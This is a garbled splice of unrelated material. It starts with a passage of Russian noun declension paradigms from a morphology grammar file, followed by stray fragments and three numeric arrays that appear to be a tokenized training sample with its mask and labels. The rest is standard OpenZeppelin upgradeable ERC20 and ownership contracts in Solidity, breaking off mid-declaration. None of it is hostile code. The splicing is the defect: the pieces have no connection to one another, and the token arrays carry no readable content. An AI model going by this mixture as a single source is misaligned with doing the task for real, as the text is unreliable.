ЯДРЕ ЯДРАХ } paradigm /*САНИ*/ Сущ_4001 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:МН { "" } // САНИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+ЕЙ" } // САНЕЙ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+ЯМИ" } // САНЯМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "" } // САНИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+ЯМ" } // САНЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+ЯХ" } // САНЯХ } paradigm /*ЦВЕТЫ*/ Сущ_4003 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:МН { "" } // --- ЦВЕТЫ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+ОВ" } // --- ЦВЕТОВ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } // --- ЦВЕТАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+Ы" } // --- ЦВЕТЫ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } // --- ЦВЕТАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } // --- ЦВЕТАХ } paradigm /*НОЖНИЦЫ*/ Сущ_4004 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:МН { "" } // НОЖНИЦЫ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } // НОЖНИЦ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } // НОЖНИЦАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "" } // НОЖНИЦЫ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } // НОЖНИЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } // НОЖНИЦАХ } paradigm /*ОЧКИ*/ Сущ_4005 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:МН { "" } // ОЧКИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+ОВ" } // ОЧКОВ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } // ОЧКАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "" } // ОЧКИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } // ОЧКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } // ОЧКАХ } paradigm /*ВОРОТА*/ Сущ_4006 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:МН { "" } // ВОРОТА ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } // ВОРОТ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+МИ" } // ВОРОТАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "" } // ВОРОТА ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+М" } // ВОРОТАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+Х" } // ВОРОТАХ } paradigm /*ГРАФФИТИ*/ Сущ_4007 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:МН { "" } ПАДЕЖ:(РОД) ЧИСЛО:МН { "" } ПАДЕЖ:ТВОР ЧИСЛО:МН { "" } ПАДЕЖ:ВИН ЧИСЛО:МН { "" } ПАДЕЖ:ДАТ ЧИСЛО:МН { "" } ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "" } } paradigm /*МОЩИ*/ Сущ_4008 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:МН { "" } // МОЩИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+ЕЙ" } // МОЩЕЙ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } // МОЩАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "" } // МОЩИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } // МОЩАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } // МОЩАХ } // слова без парадигмы paradigm /**/ Сущ_4010 : СУЩЕСТВИТЕЛЬНОЕ { РОД:СР ПЕРЕЧИСЛИМОСТЬ:НЕТ ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // } paradigm Полрюмки, Сущ_4011 : СУЩЕСТВИТЕЛЬНОЕ { ОДУШ:НЕОДУШ ПЕРЕЧИСЛИМОСТЬ:ДА РОД:СР ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // полрюмки ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "" } // полрюмки ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // полрюмки } // ****************************************************** // Далее идут автоматические парадигмы для стеммера // ****************************************************** paradigm МЕХАНОШВИЛИ : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ШВИЛИ" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:НЕТ ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { ""} } paradigm ЮЩЕНКО : СУЩЕСТВИТЕЛЬНОЕ for "(.+)НКО" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:НЕТ ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { ""} } paradigm ИВАНОВА /*(женская фамилия)*/ : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ОВА" { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:НЕТ ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+Ы" } // ИВАНОВА ИВАНОВЫ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+ОЙ" "%-1%+ЫХ" } // ИВАНОВОЙ ИВАНОВЫХ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%-1%+ЫМИ" } // ИВАНОВОЙ ИВАНОВЫМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1%+ЫХ" } // ИВАНОВУ ИВАНОВЫХ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+ОЙ" "%-1%+ЫМ" } // ИВАНОВОЙ ИВАНОВЫМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+ОЙ" "%-1%+ЫХ" } // ИВАНОВОЙ ИВАНОВЫХ } paradigm ПАПАНЕСКУ : СУЩЕСТВИТЕЛЬНОЕ for "(.+)СКУ" { РОД:ЖЕН ПЕРЕЧИСЛИМОСТЬ:НЕТ ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } } paradigm ИВАНОВ /*(мужская фамилия)*/ : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ОВ" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:НЕТ ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+Ы" } // ИВАНОВ ИВАНОВЫ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЫХ" } // ИВАНОВА ИВАНОВЫХ ПАДЕЖ:ТВОР ЧИСЛО { "%+ЫМ" "%+ЫМИ" } // ИВАНОВЫМ ИВАНОВЫМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%+ЫХ" } // ИВАНОВА ИВАНОВЫХ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+ЫМ" } // ИВАНОВУ ИВАНОВЫМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+ЫХ" } // ИВАНОВЕ ИВАНОВЫХ } // Последняя в списке - парадигма для самого частого склонения paradigm ФАЙЛ : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[БВДЗЛМНПРСТФЦ]" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+Ы" } // ФАЙЛ ФАЙЛЫ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ОВ" } // ФАЙЛА ФАЙЛОВ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+АМИ" } // ФАЙЛОМ ФАЙЛАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%+Ы" } // ФАЙЛ ФАЙЛЫ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // ФАЙЛУ ФАЙЛАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // ФАЙЛЕ ФАЙЛАХ } // Вариант самого частого склонения - для одушевленных существительных paradigm ТАНЦОР : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[БВДЗЛМНПРСТФЦ]" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+Ы" } // ОПЕРАТОР ОПЕРАТОРЫ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ОВ" } // ОПЕРАТОРА ОПЕРАТОРОВ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+АМИ" } // ОПЕРАТОРОМ ОПЕРАТОРАМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%+ОВ" } // ОПЕРАТОРА ОПЕРАТОРОВ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // ОПЕРАТОРУ ОПЕРАТОРАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // ОПЕРАТОРЕ ОПЕРАТОРАХ } }
КЛАДБИЩА КЛАДБИЩ
ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-1" }
5,384,207
[ 1, 145, 253, 145, 254, 145, 243, 145, 247, 145, 244, 145, 251, 145, 107, 145, 243, 282, 225, 145, 253, 145, 254, 145, 243, 145, 247, 145, 244, 145, 251, 145, 107, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 225, 145, 258, 145, 243, 145, 247, 145, 248, 145, 249, 30, 12, 145, 259, 145, 257, 145, 247, 13, 282, 225, 145, 105, 145, 251, 145, 99, 145, 254, 145, 257, 288, 2213, 17, 21, 9, 15, 145, 243, 6, 225, 2213, 17, 21, 6, 1377, 289, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./ERC20Upgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable { function __ERC20Burnable_init() internal initializer { __Context_init_unchained(); __ERC20Burnable_init_unchained(); } function __ERC20Burnable_init_unchained() internal initializer { } using SafeMathUpgradeable for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns 